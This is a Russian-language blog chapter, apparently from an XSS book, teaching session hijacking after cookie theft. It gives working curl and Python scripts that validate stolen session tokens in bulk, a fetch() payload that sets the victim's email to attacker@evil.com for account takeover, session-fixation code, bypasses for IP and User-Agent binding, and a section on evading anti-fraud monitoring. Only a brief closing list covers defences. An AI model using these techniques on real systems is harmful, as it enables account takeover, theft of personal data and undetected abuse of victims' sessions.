Хакер | Этичный хакинг с Михаилом Тарасовым

Книга: «Все об уязвимости XSS». Глава 7. Эксплуатация XSS - Время красть cookie 🍪 • Session hijacking: становимся жертвой

Mikhail Tarasov·2 Aug at 2:47 pm

Украл cookie - это только полдела. Настоящее искусство session hijacking начинается там, где ты перестаёшь быть собой и становишься жертвой в глазах сервера. Это момент, когда sessionid=a1b2c3d4e5f6 из строчки в лог-файле превращается в реальный доступ к чужому аккаунту, чужим данным и чужим правам. Разберём, как правильно "надеть чужую личность" и не спалиться при этом.

Что такое session hijacking на практике

Session hijacking - это захват активной сессии пользователя без необходимости знать его логин и пароль. Сервер идентифицирует пользователей не по паролю на каждый запрос, а по токену (session ID), который живёт в cookie, заголовке или localStorage. Если у тебя есть этот токен - ты и есть пользователь, с точки зрения сервера .

Разница между простой кражей cookie и полноценным hijacking в том, что hijacking - это процесс: получить токен, корректно его применить, и удержать доступ достаточно долго, чтобы извлечь максимум пользы.

Способ 1: Замена cookie в браузере

Самый прямой путь - вручную подставить украденный session ID в свой браузер.

Через DevTools

  1. Открой целевой сайт, залогинься под любым тестовым аккаунтом (или просто зайди на страницу логина)
  2. F12 → Application (Chrome) или Storage (Firefox) → Cookies
  3. Найди нужный cookie по имени (sessionid, PHPSESSID, JSESSIONID, connect.sid)
  4. Дважды кликни на Value → вставь украденное значение
  5. Обнови страницу (F5)

Если сервер не делает дополнительных проверок кроме валидности session ID — ты уже жертва в глазах системы.

Через расширения браузера

Cookie-Editor, EditThisCookie и аналогичные расширения ускоряют процесс:

  1. Установи расширение
  2. Открой целевой домен
  3. Импортируй cookie в формате JSON:
[{
  "name": "sessionid",
  "value": "a1b2c3d4e5f6",
  "domain": "target.com",
  "path": "/",
  "secure": true
}]
  1. Примени и обновись

Способ 2: curl и API-запросы

Для быстрой проверки валидности украденной сессии без открытия браузера:

curl -H "Cookie: sessionid=a1b2c3d4e5f6" https://target.com/api/profile

Если ответ содержит данные жертвы (email, имя, роль) - session валиден и захват состоялся.

Продвинутая проверка через несколько endpoint'ов:

#!/bin/bash
COOKIE="sessionid=a1b2c3d4e5f6"
TARGET="https://target.com"
curl -s -H "Cookie: $COOKIE" "$TARGET/api/profile" | jq .
curl -s -H "Cookie: $COOKIE" "$TARGET/api/orders" | jq .
curl -s -H "Cookie: $COOKIE" "$TARGET/api/admin/check" 

Так ты быстро понимаешь уровень доступа: обычный пользователь или админ.

Способ 3: Прокси-инъекция через Burp Suite

Для более контролируемого процесса используй Burp Repeater:

  1. Перехвати любой запрос к целевому сайту
  2. Send to Repeater
  3. Замени заголовок Cookie на украденное значение
  4. Отправляй запросы, изучая доступный функционал

Это удобно, потому что ты сразу видишь полные HTTP-ответы, статус коды и можешь методично исследовать, что доступно с этой сессией.

Проблема: защитные механизмы против hijacking

Современные приложения не всегда доверяют только session ID. Разберём препятствия и способы их обхода.

IP Binding

Некоторые системы привязывают сессию к IP-адресу пользователя. Если твой IP отличается от IP жертвы - сервер сбрасывает сессию.

Обход:

  • Используй VPN/proxy с геолокацией, близкой к жертве
  • Если знаешь провайдера жертвы (через WHOIS её IP, который ты получил вместе с cookie при краже) - подбери похожий диапазон
  • Некоторые системы проверяют только первые 2-3 октета IP (подсеть) - достаточно быть в той же подсети

User-Agent Fingerprinting

Сервер может сравнивать User-Agent при установке сессии и при последующих запросах.

Обход:

При краже cookie ты уже собрал User-Agent жертвы (мы разбирали это при построении сервера-логгера ). Просто подставь тот же User-Agent в свои запросы:

curl -H "Cookie: sessionid=a1b2c3d4e5f6" \
     -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" \
     https://target.com/dashboard

Или через расширение User-Agent Switcher в браузере.

SameSite Cookie Attribute

SameSite=Strict или SameSite=Lax ограничивают отправку cookie при межсайтовых запросах. Но это не мешает hijacking через XSS, потому что твой payload выполняется в контексте самого целевого домена - cookie передаются нормально, ведь запрос идёт "с самого сайта".

Session Fingerprinting (Device Fingerprint)

Продвинутые системы (банки, крупные SaaS) генерируют fingerprint устройства на основе Canvas, WebGL, шрифтов, разрешения экрана и десятков других параметров.

Обход через полную имитацию:

Если ты получил полный DOM-дамп жертвы через продвинутый payload из предыдущего раздела , у тебя может быть достаточно данных для построения похожего fingerprint. Но это высший пилотаж, обычно доступный только с использованием фреймворков типа BeEF, о которых поговорим позже.

Способ 4: Session Riding без кражи cookie

Если сервер поставил HttpOnly и ты не можешь прочитать cookie напрямую - не расстраивайся. XSS всё равно даёт тебе session riding: возможность выполнять действия от имени жертвы, пока её браузер открыт.

fetch('/api/change_email', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({email: 'attacker@evil.com'})
});

Это не классический hijacking (ты не забираешь сессию с собой), но результат тот же - контроль над аккаунтом. Меняешь email восстановления, потом инициируешь password reset - и вот у тебя полный доступ уже под своим паролем.

Способ 5: Session Fixation - подстава заранее

Session Fixation - это разновидность hijacking, где ты не воруешь существующую сессию, а заранее подсовываешь жертве известный тебе session ID.

Механика:

  1. Ты заходишь на сайт и получаешь session ID: sessionid=known123
  2. Если приложение не регенерирует session ID при логине (частая ошибка), ты можешь заставить жертву использовать именно этот session ID
  3. Отправляешь жертве ссылку:
https://target.com/login?sessionid=known123

Или через XSS устанавливаешь этот cookie заранее:

document.cookie = "sessionid=known123; domain=.target.com; path=/";
  1. Жертва логинится под своим паролем, но с уже известным тебе session ID
  2. Ты используешь тот же known123 - и попадаешь в её авторизованную сессию

Это особенно опасно, потому что тебе даже не нужно ничего "воровать" - session уже был твой с самого начала.

Многофакторная авторизация (MFA) и её обход через hijacking

Многие думают, что 2FA спасает от session hijacking. Это не так. 2FA защищает процесс логина, но не саму активную сессию.

Если ты украл session ID после того, как жертва прошла 2FA и залогинилась - тебе не нужно вводить одноразовый код. Сессия уже авторизована полностью, MFA-проверка была разовой и осталась в прошлом. Это критически важное понимание: XSS обходит MFA не потому, что ломает его, а потому, что происходит после него, на уровне уже установленного доверия.

Автоматизация массового hijacking

При Blind XSS на популярной точке входа (например, в форме поддержки крупного сервиса) ты можешь получить десятки украденных сессий. Автоматизируй их проверку:

import requests
sessions = open('stolen_sessions.txt').readlines()
for session in sessions:
    session = session.strip()
    headers = {'Cookie': f'sessionid={session}'}
    r = requests.get('https://target.com/api/profile', headers=headers)
    
    if r.status_code == 200 and 'email' in r.text:
        print(f"[+] VALID SESSION: {session}")
        print(f"    Data: {r.json()}")
    else:
        print(f"[-] Dead session: {session}")

Это позволяет быстро отсеять живые сессии от уже истёкших и приоритизировать самые ценные (админ, платящий пользователь, аккаунт с высокими правами).

Удержание доступа - не спали себя

Захватить сессию - это одно. Удержать доступ незамеченным - совсем другое.

Практики скрытности:

  • Не меняй пароль сразу. Жертва сразу заметит, что не может войти, и обратится в поддержку
  • Читай, не трогай. Если цель - разведка данных, просто извлекай информацию, не оставляя следов
  • Работай в те же часы, что жертва. Если жертва активна днём по московскому времени, а твои запросы идут ночью - это аномалия для систем мониторинга
  • Ограничивай частоту запросов. Резкий всплеск активности после долгого простоя сессии - красный флаг для anti-fraud систем
  • Действуй быстро для критичных действий. Смена email/пароля - разовая операция, которую надо провести быстро и решительно, пока сессия жива

Обнаружение и защита - взгляд с другой стороны

Как разработчик, ты можешь противостоять hijacking через:

  • Регенерацию session ID при каждом логине (защита от Session Fixation)
  • Привязку сессии к дополнительным факторам: IP, User-Agent hash, device fingerprint
  • Короткое время жизни токенов и обязательный re-auth для критичных операций (смена пароля, email, платёжные данные)
  • Флаги Secure, HttpOnly, SameSite=Strict на уровне cookie
  • Anomaly detection: неожиданная геолокация, смена User-Agent посреди сессии, всплеск запросов

Заключение

Session hijacking - это момент истины после успешной XSS-эксплуатации. Просто украсть токен недостаточно - нужно понимать защитные слои (IP binding, fingerprinting, SameSite), уметь их обходить или работать в обход через session riding, и главное - грамотно использовать захваченный доступ, не привлекая внимания систем безопасности. Помни про Session Fixation как альтернативный вектор, который не требует кражи вообще ничего - только предугадывания. И самое важное: MFA не спасает от того, что происходит после успешного логина.

14 views·4 shares
14 views